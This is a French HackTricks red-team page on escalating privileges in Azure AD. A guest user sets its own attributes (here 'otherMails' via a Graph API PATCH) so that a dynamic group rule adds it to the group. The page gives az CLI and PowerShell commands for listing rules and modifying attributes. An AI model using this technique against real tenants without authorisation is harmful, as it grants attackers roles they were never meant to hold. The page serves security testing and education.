Az - Dynamic Groups Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Informations de base

Dynamic groups sont des groupes qui ont un ensemble de rĂšgles configurĂ©es et tous les utilisateurs ou appareils qui correspondent aux rĂšgles sont ajoutĂ©s au groupe. À chaque fois qu’un attribut d’un utilisateur ou d’un appareil est modifiĂ©, les rĂšgles dynamiques sont réévaluĂ©es. Et lorsqu’une nouvelle rĂšgle est créée, tous les appareils et utilisateurs sont vĂ©rifiĂ©s.

Dynamic groups peuvent se voir attribuer des Azure RBAC roles assigned, mais il n’est pas possible d’ajouter des AzureAD roles aux Dynamic groups.

Cette fonctionnalité nécessite une licence Azure AD Premium P1.

Privesc

Notez que par dĂ©faut tout utilisateur peut inviter des guests dans Azure AD. Donc, si une rĂšgle d’un Dynamic group donne des permissions Ă  des utilisateurs basĂ©es sur des attributs qui peuvent ĂȘtre dĂ©finis sur un nouveau guest, il est possible de crĂ©er un guest avec ces attributs et d’escalader les privilĂšges. Un guest peut aussi gĂ©rer son propre profil et modifier ces attributs.

Récupérer les groupes qui autorisent Dynamic membership : az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

ÉnumĂ©ration des Dynamic Groups

Obtenir les rùgles d’un Dynamic group :

Avec Azure CLI :

az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table

Avec PowerShell et Microsoft Graph SDK :

Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph

Connect-MgGraph -Scopes "Group.Read.All"

Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes

# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState

$g | Select-Object DisplayName, GroupTypes, MembershipRule

# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule

Exemple

  • Exemple de rĂšgle: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Description de la rĂšgle: Tout utilisateur Guest avec un e-mail secondaire contenant la chaĂźne ‘security’ sera ajoutĂ© au groupe

Pour l’e-mail de l’utilisateur Guest, acceptez l’invitation et vĂ©rifiez les paramĂštres actuels de cet utilisateur dans https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Malheureusement, la page n’autorise pas la modification des valeurs des attributs, nous devons donc utiliser l’API:

# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks